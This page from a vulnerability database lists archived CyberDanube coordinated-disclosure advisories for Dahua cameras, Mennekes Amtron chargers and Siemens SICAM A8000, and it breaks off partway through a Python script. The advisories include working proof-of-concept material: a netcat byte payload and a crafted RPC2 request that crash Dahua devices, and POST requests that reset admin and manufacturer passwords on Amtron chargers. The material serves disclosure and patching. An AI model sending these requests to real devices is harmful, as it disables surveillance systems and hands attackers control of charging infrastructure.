GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Search

Find a vulnerability

Search criteria

    6 vulnerabilities found for CyberDanube Security Research by unknown

    GCVE-1988-2026-0378

    Vulnerability from gna-1988 – Published: 2026-09-11 08:27 – Updated: 2026-09-11 08:27
    VLAI
    Title
    CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series
    Summary
    CyberDanube Security Research 20260611-0 ------------------------------------------------------------------------------- title| Multiple Denial of Service product| Dahua DH-IPC-HFW Series vulnerable version| <=V3.142.0000000.8.R.250826 fixed version| Versions build including and after 2026-03-26. CVE number| CVE-2026-29115, CVE-2026-29116 impact| High homepage| https://www.dahuasecurity.com/ found| 20.10.2025 by| T. Weber, S. Eisenreich-Dietz | (Office Vienna) | CyberDanube Security Research | Vienna | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Dahua Technology is a world-leading video-centric AIoT solution and service provider. Committed to enabling a smarter society and better living, Dahua actively implements its Dahua Think#2.0 strategy, evolving from “Intelligence” to “Integrated Intelligence” to drive digital innovation and transformation for cities and enterprises. The company supports urban development by enhancing management efficiency, enabling autonomous city operations, upgrading public safety systems, and advancing ecological governance. In the enterprise sector, Dahua focuses on strengthening security systems, increasing operational productivity, and enabling data-driven decision-making to help businesses thrive." Source: https://www.dahuasecurity.com/aboutUs/introduction/0 Vulnerable versions ------------------------------------------------------------------------------- DH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826 We know that more firmware versions are prone to this DoS vulnerabilities, but we cannot determine all exact versions. Other cameras from Dahua seems to not have a watchdog. Therefore, they do not trigger an automatic reboot and stay in a temporary bricked state. According to the vendor, the following series are affected: "Part of IPC、SD、NVR、XVR、EVS、VTO、VTH、ASI、TPC" See: https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Denial-of-Service (CVE-2026-29115) A temporary DoS (Denial of Service) condition can be triggered on the device. This leads to a reboot of the full system, which affects its availability. 2) Unauthenticated Denial-of-Service (CVE-2026-29116) A Denial of Service condition can be triggered on the device, which is temporary on newer camera series but can also be persisten on older Dahua devices. This is due to the usage of a watchdog in the newer camera firmware. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Denial-of-Service (CVE-2026-29115) The following command can be used to force the denial of service state: $ echo -ne "\x20\x00\x00\x00\x44\x48\x49\x50\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x7b\x20\x0a" | nc 192.168.19.136 80 The address 192.168.19.136 was used in this example as camera IP. After executing, the web server crashes and the device triggers a reboot. This takes a few minutes, resulting in black screens on the video surveillance systems on the windows clients for that time. 2) Unauthenticated Denial-of-Service (CVE-2026-29116) An authenticated attacker can crash the webserver with a crafted request under the condition, that an SD card is inserted. If both pre-conditions are met, the following POST request can be used to kill the web server: ----------------------------------------------------- POST /RPC2 HTTP/1.1 Host: 192.168.19.136 Content-Length: 139 Accept-Language: de-DE,de;q=0.9 Accept: application/json, text/plain, / Content-Type: application/json Origin: http://192.168.19.136 Referer: http://192.168.19.136/ Accept-Encoding: gzip, deflate, br Cookie: WebClientHttpSessionID=<Session-ID> Connection: keep-alive {"method":"workDirectory.factory.instance","params":{"name":"/mnt/dvr/mmc2p2_0aaaa"},"id":213,"session":"<Session-ID>"} ----------------------------------------------------- The address 192.168.19.136 was used in this example as camera IP. After executing, the web server crashes and the device triggers a reboot. This takes a few minutes, resulting in black screens on the video surveillance systems on the windows clients for that time. Solution ------------------------------------------------------------------------------- Install patches immediately. Workaround ------------------------------------------------------------------------------- Restrict network access to the device in the infrastructure. Do not expose the web interface to the Internet or in public networks. Recommendation ------------------------------------------------------------------------------- CyberDanube recommends to perform a white-box security assessment of the Dahua DH-IPC-HFWXXXX devices. Contact Timeline ------------------------------------------------------------------------------- 2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending advisory; No answer. 2026-02-04: Asking for a timeline; No answer. 2026-02-24: Asking for a timeline; No answer. 2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT apologizes for inconvenience. The email was suspected to be filtered. 2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT did not received some emails from CyberDanube that were sent. 2026-03-12: Re-sending advisory. PSIRT did not receive it. 2026-03-16: Re-sending advisory. Confirmation from PSIRT. 2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the disclosure date back by 90 days. Agreed due to the criticality of the finding and the mass-usage of this products. 2026-03-20/23/27: Ongoing communication in both directions. 2026-06-04: Asked for the exact disclosure date for the Dahua announcement. PSIRT responded that it will go public 2026-06-10. 2026-06-11: Coordinated disclosure of vulnerabilities. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    Relationships
    analysis GCVE-1988-2026-0378 (this record)
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260611-0\n-------------------------------------------------------------------------------\ntitle| Multiple Denial of Service\nproduct| Dahua DH-IPC-HFW Series\nvulnerable version| \u003c=V3.142.0000000.8.R.250826\nfixed version| Versions build including and after 2026-03-26.\nCVE number| CVE-2026-29115, CVE-2026-29116\nimpact| High\nhomepage| https://www.dahuasecurity.com/\nfound| 20.10.2025\nby| T. Weber, S. Eisenreich-Dietz\n| (Office Vienna)\n| CyberDanube Security Research\n| Vienna\n|\n| https://www.cyberdanube.com\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"Dahua Technology is a world-leading video-centric AIoT solution and service\nprovider. Committed to enabling a smarter society and better living, Dahua\nactively implements its Dahua Think#2.0 strategy, evolving from \u201cIntelligence\u201d\nto \u201cIntegrated Intelligence\u201d to drive digital innovation and transformation for\ncities and enterprises. The company supports urban development by enhancing\nmanagement efficiency, enabling autonomous city operations, upgrading public\nsafety systems, and advancing ecological governance. In the enterprise sector,\nDahua focuses on strengthening security systems, increasing operational\nproductivity, and enabling data-driven decision-making to help businesses\nthrive.\"\nSource: https://www.dahuasecurity.com/aboutUs/introduction/0\nVulnerable versions\n-------------------------------------------------------------------------------\nDH_IPC-HX5XXX-single-Riemann_MultiLang_PN_Stream4_V3.142.0000000.8.R.250826\nWe know that more firmware versions are prone to this DoS vulnerabilities, but\nwe cannot determine all exact versions. Other cameras from Dahua seems to not\nhave a watchdog. Therefore, they do not trigger an automatic reboot and stay in\na temporary bricked state.\nAccording to the vendor, the following series are affected:\n\"Part of IPC\u3001SD\u3001NVR\u3001XVR\u3001EVS\u3001VTO\u3001VTH\u3001ASI\u3001TPC\"\nSee:\nhttps://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products\nhttps://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nA temporary DoS (Denial of Service) condition can be triggered on the device.\nThis leads to a reboot of the full system, which affects its availability.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nA Denial of Service condition can be triggered on the device, which is\ntemporary on newer camera series but can also be persisten on older Dahua\ndevices. This is due to the usage of a watchdog in the newer camera firmware.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Denial-of-Service (CVE-2026-29115)\nThe following command can be used to force the denial of service state:\n$ echo -ne \n\"\\x20\\x00\\x00\\x00\\x44\\x48\\x49\\x50\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7b\\x20\\x0a\"\n | nc 192.168.19.136 80\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\n2) Unauthenticated Denial-of-Service (CVE-2026-29116)\nAn authenticated attacker can crash the webserver with a crafted request under\nthe condition, that an SD card is inserted. If both pre-conditions are met, the\nfollowing POST request can be used to kill the web server:\n-----------------------------------------------------\nPOST /RPC2 HTTP/1.1\nHost: 192.168.19.136\nContent-Length: 139\nAccept-Language: de-DE,de;q=0.9\nAccept: application/json, text/plain, /\nContent-Type: application/json\nOrigin: http://192.168.19.136\nReferer: http://192.168.19.136/\nAccept-Encoding: gzip, deflate, br\nCookie: WebClientHttpSessionID=\u003cSession-ID\u003e\nConnection: keep-alive\n{\"method\":\"workDirectory.factory.instance\",\"params\":{\"name\":\"/mnt/dvr/mmc2p2_0aaaa\"},\"id\":213,\"session\":\"\u003cSession-ID\u003e\"}\n-----------------------------------------------------\nThe address 192.168.19.136 was used in this example as camera IP. After\nexecuting, the web server crashes and the device triggers a reboot. This takes\na few minutes, resulting in black screens on the video surveillance systems on\nthe windows clients for that time.\nSolution\n-------------------------------------------------------------------------------\nInstall patches immediately.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure. Do not expose the\nweb interface to the Internet or in public networks.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the Dahua\nDH-IPC-HFWXXXX devices.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-18: Contacting Dahua PSIRT via cybersecurity () dahuatech com and sending\nadvisory; No answer.\n2026-02-04: Asking for a timeline; No answer.\n2026-02-24: Asking for a timeline; No answer.\n2026-03-05: Asking for a timeline and including psirt () dahuatech com. PSIRT\napologizes for inconvenience. The email was suspected to be\nfiltered.\n2026-03-09: Exchanging PGP keys, trying to communicate back an forth. PSIRT\ndid not received some emails from CyberDanube that were sent.\n2026-03-12: Re-sending advisory. PSIRT did not receive it.\n2026-03-16: Re-sending advisory. Confirmation from PSIRT.\n2026-03-17: PSIRT confirms the vulnerabilities and asked for shifting the\ndisclosure date back by 90 days. Agreed due to the criticality of\nthe finding and the mass-usage of this products.\n2026-03-20/23/27: Ongoing communication in both directions.\n2026-06-04: Asked for the exact disclosure date for the Dahua announcement.\nPSIRT responded that it will go public 2026-06-10.\n2026-06-11: Coordinated disclosure of vulnerabilities.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/120"
        },
        {
          "url": "http://192.168.19.136"
        },
        {
          "url": "http://192.168.19.136/"
        },
        {
          "url": "https://materialfile.dahuasecurity.com/new_uploads_formal/soft/20260609/Affected_Models.pdf"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.dahuasecurity.com/"
        },
        {
          "url": "https://www.dahuasecurity.com/about-dahua/trust-center/dahua-psirt/dhcc-sa-202606-001:-security-advisory-%E2%80%93-vulnerabilities-found-in-some-dahua-products"
        },
        {
          "url": "https://www.dahuasecurity.com/aboutUs/introduction/0"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/120"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260611-0 | Multiple Denial of Service Vulnerabilities in Dahua IPC/SD/NVR/XVR/EVS/VTO/VTH/ASI/TPC Camera Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-29115",
              "type": "related"
            },
            {
              "destId": "CVE-2026-29116",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0378",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/120",
            "automated": true,
            "contentSha256": "54334e7e0ace4f2bcef1a02ca2dda1ed94f701594b5a60243bb33f40605d3c52",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/120",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T12:13:12Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0378"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0378"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0326

    Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
    VLAI
    Title
    CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series
    Summary
    CyberDanube Security Research 20260528-0 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Mennekes Amtron Series and Smart-T PnC vulnerable version| 5.22.3 fixed version| 5.33.11-21500 CVE number| CVE-2026-8979, CVE-2026-8980 impact| High homepage| https://www.mennekes.at/ found| 2025-11-27 by| S. Eisenreich-Dietz, T. Weber | CyberDanube Security Research | Austria - Vienna | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- For more than 80 years, MENNEKES has stood for quality electrical products and service throughout the world. When it comes to solutions that handle current intelligently and safely, we set the standard for innovation, quality, manufacturing and development. Source: https://www.mennekes.com/about/about-us Vulnerable Products ------------------------------------------------------------------------------- Amtron Professional Amtron Professional (Eichrecht) Amedio Professional Amtron Charge Control Amtron Professional Twincharge Smart-T PnC Vulnerability Overview ------------------------------------------------------------------------------- 1) Authentication Bypass (CVE-2026-8979) An unauthentication attacker can use a crafted POST request to change the password of the user account. 2) Privilege Escalation (CVE-2026-8980) An authenticated attacker can use a crafted POST request to change the password of the manufacturer and admin account as low privileged user. Proof of Concept ------------------------------------------------------------------------------- 1) Authentication Bypass (CVE-2026-8979) The following POST request can be used to change the password of the user account to "asdf" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /operator/operator HTTP/1.1 Host: 10.201.74.66 Accept-Language: en-US,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 UserPwdPlain_custom=asdf ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 2) Privilege Escalation (CVE-2026-8980) The following POST requests can be used to change the admin (operator) and manufacturer account password to "asdf". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /json/settings.json HTTP/1.1 Host: 10.201.74.66 Content-Length: 60 Authorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8 Accept-Language: en-US,en;q=0.9 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Origin: http://10.201.74.66 Referer: http://10.201.74.66/groups/system Accept-Encoding: gzip, deflate, br Connection: keep-alive {"params":[{"key":"OperatorPwdPlain_custom","value":"asd"}]} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /json/settings.json HTTP/1.1 Host: 10.201.74.66 Content-Length: 59 Authorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9 Accept-Language: en-US,en;q=0.9 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Origin: http://10.201.74.66 Referer: http://10.201.74.66/groups/system Accept-Encoding: gzip, deflate, br Connection: keep-alive {"params":[{"key":"ManufacturerPwd_custom","value":"asd"}]} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution ------------------------------------------------------------------------------- Update to the newest Firmware. Workaround ------------------------------------------------------------------------------- Restrict access to the device. Contact Timeline ------------------------------------------------------------------------------- 2025-02-24: Get in contact with psirt () mennekes de 2025-02-25: Vulnerabilities get acknowledged and are forwarded to BENDER as they are the manufacturer for the devices. 2025-03-18: Ask for update regarding fixes, CVE numbers, fixed version and effected products. Response states that they will not create CVEs. 2025-05-28: Release of advisory.     Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF S. Eisenreich-Dietz / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    References
    Impacted products
    Credits
    Thomas Weber | CyberDanube via Fulldisclosure
    Relationships
    analysis GCVE-1988-2026-0326 (this record)
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260528-0\n-------------------------------------------------------------------------------\n                title| Multiple Vulnerabilities\n              product| Mennekes Amtron Series and Smart-T PnC\n   vulnerable version| 5.22.3\n        fixed version| 5.33.11-21500\n           CVE number| CVE-2026-8979, CVE-2026-8980\n               impact| High\n             homepage| https://www.mennekes.at/\n                found| 2025-11-27\n                   by| S. Eisenreich-Dietz, T. Weber\n                     | CyberDanube Security Research\n                     | Austria - Vienna\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\nFor more than 80 years, MENNEKES has stood for quality electrical products and\nservice throughout the world. When it comes to solutions that handle current\nintelligently and safely, we set the standard for innovation, quality,\nmanufacturing and development.\n\nSource: https://www.mennekes.com/about/about-us\n\n\nVulnerable Products\n-------------------------------------------------------------------------------\nAmtron Professional\nAmtron Professional (Eichrecht)\nAmedio Professional\nAmtron Charge Control\nAmtron Professional Twincharge\nSmart-T PnC\n\nVulnerability Overview\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nAn unauthentication attacker can use a crafted POST request to change the\npassword of the user account.\n\n2) Privilege Escalation (CVE-2026-8980)\nAn authenticated attacker can use a crafted POST request to change the password\nof the manufacturer and admin account as low privileged user.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authentication Bypass (CVE-2026-8979)\nThe following POST request can be used to change the password of the user\naccount to \"asdf\"\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /operator/operator HTTP/1.1\nHost: 10.201.74.66\nAccept-Language: en-US,en;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag\ne/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 24\nUserPwdPlain_custom=asdf\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n2) Privilege Escalation (CVE-2026-8980)\nThe following POST requests can be used to change the admin (operator) and\nmanufacturer account password to \"asdf\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 60\nAuthorization: e81179e1-5e50-45d4-8ee6-27161dcf69d8\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"OperatorPwdPlain_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nPOST /json/settings.json HTTP/1.1\nHost: 10.201.74.66\nContent-Length: 59\nAuthorization: 526ee807-4295-46f3-a9e4-0f4bcac97af9\nAccept-Language: en-US,en;q=0.9\nAccept: application/json, text/plain, */*\nContent-Type: application/json;charset=UTF-8\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like\nGecko) Chrome/133.0.0.0 Safari/537.36\nOrigin: http://10.201.74.66\nReferer: http://10.201.74.66/groups/system\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n{\"params\":[{\"key\":\"ManufacturerPwd_custom\",\"value\":\"asd\"}]}\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nSolution\n-------------------------------------------------------------------------------\nUpdate to the newest Firmware.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict access to the device.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-02-24:\u2002Get in contact with psirt () mennekes de\n2025-02-25:\u2002Vulnerabilities get acknowledged and are forwarded to BENDER\n                as they are the manufacturer for the devices.\n2025-03-18:\u2002Ask for update regarding fixes, CVE numbers, fixed version and\n                effected products. Response states that they will not create\n                CVEs.\n2025-05-28: Release of advisory.\u2002\u2002\u2002\u2002\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Eisenreich-Dietz / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/25"
        },
        {
          "url": "http://10.201.74.66"
        },
        {
          "url": "http://10.201.74.66/groups/system"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.mennekes.at/"
        },
        {
          "url": "https://www.mennekes.com/about/about-us"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260528-0 | Multiple Vulnerabilities in Multiple Vulnerabilities in Mennekes Amtron Series",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-8979",
              "type": "related"
            },
            {
              "destId": "CVE-2026-8980",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0326",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/25",
            "automated": true,
            "contentSha256": "a8daaddb97117301cce132a44cca1c8846b894411b06106ef058a1c0912dd4a2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-29T14:33:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0326"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0326"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0256

    Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
    VLAI
    Title
    CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000
    Summary
    CyberDanube Security Research 20260408-1 ------------------------------------------------------------------------------- title| Multiple Vulnerabilities product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012 vulnerable version| <=V25.30 fixed version| V26.10 CVE number| CVE-2026-27664 impact| High homepage| https://siemens.com/ found| 18.12.2025 by| S. Dietz | (Office Vienna) | CyberDanube Security Research | Vienna | | This research was conducted in cooperation with | VERBUND Digital Power during a penetration test. | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Our purpose: We create technology to transform the everyday, for everyone. By combining the real and the digital worlds, we can help accelerate both digitalization and sustainability - so our customers around the world can become more competitive, resilient and sustainable." Source: https://www.siemens.com/global/en/company/about.html Vulnerable versions ------------------------------------------------------------------------------- Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30 Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30 Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31 Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31 See also the vendor advisory: https://cert-portal.siemens.com/productcert/html/ssa-246443.html Vulnerability overview ------------------------------------------------------------------------------- 1) Unauthenticated Denial of Service A crafted POST request with a large Content-Length and multipart boundary without matching body seems to make the parser wait for more data. As long as the connection is open, no other user can interact with the service. IHI00.elf and RTUM85.elf are impacted by this. 2) Unauthenticated Memory Corruption (CVE-2026-27664) A crafted POST request with a malicious XML body can be send to write null bytes to an arbitrary memory address after the buffers location. This may lead to a denial of service or remote code execution. This impacts the IHI00.elf as well as the RTUM85.elf binary. Proof of Concept ------------------------------------------------------------------------------- 1) Unauthenticated Denial of Service The following python script can be used to temporarily impact the availability of the device. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/bin/env python3 # S. Dietz <fitfrost4> from pwn import * IP = "localhost" PORT = 8080 COMP = "ihi" path = b"" if args.IP: IP = args.IP if args.PORT: PORT = int(args.PORT) if 